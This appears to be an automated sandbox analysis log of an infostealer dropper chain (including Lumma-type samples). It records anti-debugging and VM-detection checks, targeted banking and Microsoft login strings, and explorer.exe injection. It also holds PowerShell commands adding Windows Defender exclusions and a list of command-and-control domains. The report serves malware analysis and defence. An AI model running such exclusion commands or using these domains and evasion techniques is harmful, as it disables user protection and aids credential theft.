Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2980	Thread sleep count: 2727 > 30

Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Code function: 7_2_0040367D GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,	7_2_0040367D
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Code function: 7_2_004031DC FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	7_2_004031DC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A37978 FindFirstFileW,FindFirstFileW,free,	11_2_00A37978

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 11_2_00A3881C free,free,GetLogicalDriveStringsW,GetLogicalDriveStringsW,free,free,free,

11_2_00A3881C

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 11_2_00A3B5E0 GetSystemInfo,

11_2_00A3B5E0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 99875
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 99764
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 99656
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 99546
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 99437
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 99328
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 99218
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 99109
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 98999
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 98890
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 98779
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 98671
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 98562
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 98453
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 98342
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 98234
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 98122
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 98012
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 97870
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 97454
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 97338
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 97218
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 97109
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 96999
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 96890
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 96781
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 96660
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 96543
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 96421
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 96222
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 96098
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 95967
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 95859
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 95749
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 95640
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 95531
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 95421
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 95298
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 95171
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 95062
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Thread delayed: delay time: 94950
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\extracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmp, fe64902db3.exe, 00000023.00000002.3174283511.000000000038F000.00000040.00000001.01000000.0000000F.sdmp, 09c0b8253b.exe, 0000002C.00000002.3260168571.0000000000BDE000.00000040.00000001.01000000.00000015.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: ed0fb10817.exe, 00000024.00000003.3116490132.00000000068C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Y\MACHINE\SYSTEM\ControlSet001\Services\VBoxSFlI%
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: fe64902db3.exe, 00000023.00000003.3021446223.0000000005634000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: skotes.exe, 00000006.00000002.3277060437.000000000149A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3277060437.000000000146A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001F.00000002.2935994024.000000000063B000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000002.3177626551.0000000000E6D000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3171987339.0000000000E6D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: PING.EXE, 00000022.00000002.2966347077.000002A00AB19000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllnn1WP
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: PING.EXE, 0000001D.00000002.2953803111.000002BA6AABB000.00000004.00000020.00020000.00000000.sdmp, ed0fb10817.exe, 00000024.00000003.3113375975.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, 1c5200ac19.exe, 00000025.00000002.3272442780.00000000007E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: fe64902db3.exe, 00000023.00000003.3021446223.0000000005634000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: 09c0b8253b.exe, 0000002C.00000003.3235735091.0000000005AB0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: explorer.exe, 0000001F.00000002.2935994024.000000000063B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW/v^Bv%
Source: 09c0b8253b.exe, 0000002C.00000003.3235735091.0000000005AB0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2072631592.0000000000CE1000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2102589254.00000000007E1000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000003.00000002.2103185441.00000000007E1000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmp, fe64902db3.exe, 00000023.00000002.3174283511.000000000038F000.00000040.00000001.01000000.0000000F.sdmp, 09c0b8253b.exe, 0000002C.00000002.3260168571.0000000000BDE000.00000040.00000001.01000000.00000015.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: fe64902db3.exe, 00000023.00000002.3177626551.0000000000E39000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3171987339.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: file.exe, 00000000.00000003.2040212166.0000000000F74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: fe64902db3.exe, 00000023.00000003.3021608926.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\explorer.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04D70BD5 rdtsc

0_2_04D70BD5

Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe

Code function: 7_2_00402665 LoadLibraryA,GetProcAddress,GetNativeSystemInfo,

7_2_00402665

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B2652B mov eax, dword ptr fs:[00000030h]	0_2_00B2652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B2A302 mov eax, dword ptr fs:[00000030h]	0_2_00B2A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0062A302 mov eax, dword ptr fs:[00000030h]	2_2_0062A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0062652B mov eax, dword ptr fs:[00000030h]	2_2_0062652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0062A302 mov eax, dword ptr fs:[00000030h]	3_2_0062A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0062652B mov eax, dword ptr fs:[00000030h]	3_2_0062652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0062A302 mov eax, dword ptr fs:[00000030h]	6_2_0062A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0062652B mov eax, dword ptr fs:[00000030h]	6_2_0062652B

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\jcyhknhe"
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\jcyhknhe"
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5008 base: 140000000 value: 4D
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5008 base: 140001000 value: 40
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5008 base: 1402DD000 value: 58
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5008 base: 14040B000 value: A4
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5008 base: 140739000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5008 base: 14075E000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5008 base: 14075F000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5008 base: 140762000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5008 base: 140764000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5008 base: 140765000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 5008 base: 503010 value: 00

LummaC encrypted strings found

Source: fe64902db3.exe, 00000023.00000002.3174009669.00000000001B1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: rapeflowwj.lat
Source: fe64902db3.exe, 00000023.00000002.3174009669.00000000001B1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: crosshuaht.lat
Source: fe64902db3.exe, 00000023.00000002.3174009669.00000000001B1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: sustainskelet.lat
Source: fe64902db3.exe, 00000023.00000002.3174009669.00000000001B1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: aspecteirs.lat
Source: fe64902db3.exe, 00000023.00000002.3174009669.00000000001B1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: energyaffai.lat
Source: fe64902db3.exe, 00000023.00000002.3174009669.00000000001B1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: necklacebudi.lat
Source: fe64902db3.exe, 00000023.00000002.3174009669.00000000001B1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: discokeyus.lat
Source: fe64902db3.exe, 00000023.00000002.3174009669.00000000001B1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: grannyejh.lat
